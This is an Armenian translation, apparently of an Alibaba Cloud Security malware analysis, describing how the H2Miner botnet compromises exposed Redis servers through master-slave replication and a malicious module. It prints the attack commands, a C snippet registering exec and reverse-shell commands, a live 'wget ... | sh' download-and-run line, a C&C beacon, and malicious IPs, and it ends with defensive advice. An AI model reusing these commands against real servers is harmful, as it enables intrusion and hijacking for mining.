Մեկ օր առաջ իմ նախագծի սերվերներից մեկը հարձակվեց նմանատիպ ճիճու կողմից: «Ի՞նչ էր դա» հարցի պատասխանը փնտրելու համար: Ես գտա Alibaba Cloud Security թիմի հիանալի հոդվածը: Քանի որ ես չգտա այս հոդվածը Habré-ում, որոշեցի այն թարգմանել հատուկ ձեզ համար <3
Մուտք
Վերջերս Alibaba Cloud-ի անվտանգության թիմը հայտնաբերել է H2Miner-ի հանկարծակի բռնկում: Այս տեսակի վնասակար ճիճուները օգտագործում են թույլտվության բացակայությունը կամ թույլ գաղտնաբառերը Redis-ի համար որպես դարպասներ դեպի ձեր համակարգեր, որից հետո այն համաժամացնում է իր սեփական վնասակար մոդուլը ստրուկի հետ՝ master-slave համաժամացման միջոցով և վերջապես ներբեռնում է այս վնասակար մոդուլը հարձակման ենթարկված մեքենայի վրա և գործարկում չարամիտ: հրահանգներ.
Նախկինում ձեր համակարգերի վրա հարձակումները հիմնականում իրականացվել են՝ օգտագործելով պլանավորված առաջադրանքներ կամ SSH ստեղներ, որոնք գրվել են ձեր ապարատում այն բանից հետո, երբ հարձակվողը մուտք է գործել Redis: Բարեբախտաբար, այս մեթոդը չի կարող հաճախ օգտագործվել թույլտվության վերահսկման հետ կապված խնդիրների կամ համակարգի տարբեր տարբերակների պատճառով: Այնուամենայնիվ, վնասակար մոդուլը բեռնելու այս մեթոդը կարող է ուղղակիորեն կատարել հարձակվողի հրամանները կամ մուտք ունենալ դեպի կեղև, ինչը վտանգավոր է ձեր համակարգի համար:
Ինտերնետում տեղակայված Redis սերվերների մեծ քանակի պատճառով (մոտ 1 միլիոն), Alibaba Cloud-ի անվտանգության թիմը, որպես բարեկամական հիշեցում, խորհուրդ է տալիս օգտատերերին չհամօգտագործել Redis առցանց և պարբերաբար ստուգել իրենց գաղտնաբառերի ուժը և արդյոք դրանք վտանգված են: արագ ընտրություն.
H2Miner
H2Miner-ը մայնինգ բոտնետ է Linux-ի վրա հիմնված համակարգերի համար, որը կարող է ներխուժել ձեր համակարգ տարբեր ձևերով, այդ թվում՝ թույլտվության բացակայությունը Hadoop yarn-ի, Docker-ի և Redis-ի հեռակառավարման հրամանների կատարման (RCE) խոցելիության մեջ: Բոտնետն աշխատում է՝ ներբեռնելով վնասակար սկրիպտներ և չարամիտ ծրագրեր՝ ձեր տվյալները հանելու, հարձակումը հորիզոնական ընդլայնելու և հրամանատարության և վերահսկման (C&C) հաղորդակցությունները պահպանելու համար:
Redis RCE
Այս թեմայի վերաբերյալ գիտելիքները կիսվել է Պավել Տոպորկովի կողմից ZeroNights 2018-ում: 4.0 տարբերակից հետո Redis-ն աջակցում է plug-in-ի բեռնման գործառույթին, որն օգտատերերին հնարավորություն է տալիս բեռնել C-ով կազմված ֆայլերը Redis-ում՝ հատուկ Redis հրամաններ կատարելու համար: Այս ֆունկցիան, թեև օգտակար է, պարունակում է խոցելիություն, որի դեպքում, master-slave ռեժիմում, ֆայլերը կարող են համաժամանակացվել ստրուկի հետ fullresync ռեժիմի միջոցով: Սա կարող է օգտագործվել հարձակվողի կողմից վնասակար so ֆայլեր փոխանցելու համար: Փոխանցումն ավարտվելուց հետո հարձակվողները բեռնում են մոդուլը հարձակման ենթարկված Redis օրինակի վրա և կատարում ցանկացած հրաման:
Չարամիտ ճիճուների վերլուծություն
Վերջերս Alibaba Cloud-ի անվտանգության թիմը հայտնաբերել է, որ H2Miner վնասակար հանքագործների խմբի չափը հանկարծ կտրուկ աճել է: Ըստ վերլուծության՝ հարձակման առաջացման ընդհանուր գործընթացը հետևյալն է.
H2Miner-ն օգտագործում է RCE Redis-ը լիարժեք հարձակման համար: Հարձակվողները նախ հարձակվում են չպաշտպանված Redis սերվերների կամ թույլ գաղտնաբառերով սերվերների վրա:
Հետո նրանք օգտագործում են հրամանը config set dbfilename red2.so
ֆայլի անունը փոխելու համար: Դրանից հետո հարձակվողները կատարում են հրամանը slaveof
Master-slave-ի վերարտադրման հյուրընկալող հասցեն սահմանելու համար:
Երբ հարձակման ենթարկված Redis-ի օրինակը կապ է հաստատում չարամիտ Redis-ի հետ, որը պատկանում է հարձակվողին, հարձակվողն ուղարկում է վարակված մոդուլը՝ օգտագործելով fullresync հրամանը՝ ֆայլերը համաժամեցնելու համար: Այնուհետև red2.so ֆայլը կներբեռնվի հարձակման ենթարկված մեքենայի մեջ: Այնուհետև հարձակվողներն օգտագործում են ./red2.so բեռնման մոդուլը՝ այս so ֆայլը բեռնելու համար: Մոդուլը կարող է կատարել հարձակվողի հրամանները կամ սկսել հակադարձ միացում (հետին դուռ)՝ հարձակման ենթարկված մեքենային մուտք գործելու համար:
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Վնասակար հրամանը կատարելուց հետո, ինչպիսին է / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
, հարձակվողը կվերակայի պահուստային ֆայլի անունը և կբեռնաթափի համակարգի մոդուլը՝ հետքերը մաքրելու համար: Այնուամենայնիվ, red2.so ֆայլը դեռ կմնա հարձակման ենթարկված մեքենայի վրա: Օգտատերերին խորհուրդ է տրվում ուշադրություն դարձնել նման կասկածելի ֆայլի առկայությանը իրենց Redis օրինակի թղթապանակում։
Ի լրումն ռեսուրսները գողանալու համար որոշ վնասակար գործընթացների սպանությունից, հարձակվողը հետևել է վնասակար սցենարին՝ ներբեռնելով և գործարկելով վնասակար երկուական ֆայլեր:
Ըստ հակադարձ ինժեներական արդյունքների՝ չարամիտ ծրագիրը հիմնականում կատարում է հետևյալ գործառույթները.
- Ֆայլերի բեռնում և կատարում
- Հանքարդյունաբերություն
- C&C կապի պահպանում և հարձակվողի հրամանների կատարում
Օգտագործեք Mascan արտաքին սկանավորման համար՝ ձեր ազդեցությունն ընդլայնելու համար: Բացի այդ, C&C սերվերի IP հասցեն կոշտ կոդավորված է ծրագրում, և հարձակման ենթարկված հոսթը շփվելու է C&C կապի սերվերի հետ՝ օգտագործելով HTTP հարցումները, որտեղ զոմբիի (վտանգված սերվերի) տեղեկատվությունը նույնացվում է HTTP վերնագրում:
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Հարձակման այլ մեթոդներ
Հասցեներ և հղումներ, որոնք օգտագործվում են ճիճու կողմից
/հարազատ
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
s&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Խորհուրդ
Նախ, Redis-ը չպետք է հասանելի լինի ինտերնետից և պետք է պաշտպանված լինի ուժեղ գաղտնաբառով: Կարևոր է նաև, որ հաճախորդները ստուգեն, որ Red2.so ֆայլ չկա Redis գրացուցակում և որ ֆայլի/գործընթացի անվանման մեջ չկա «kinsing» հոսթի վրա:
Source: www.habr.com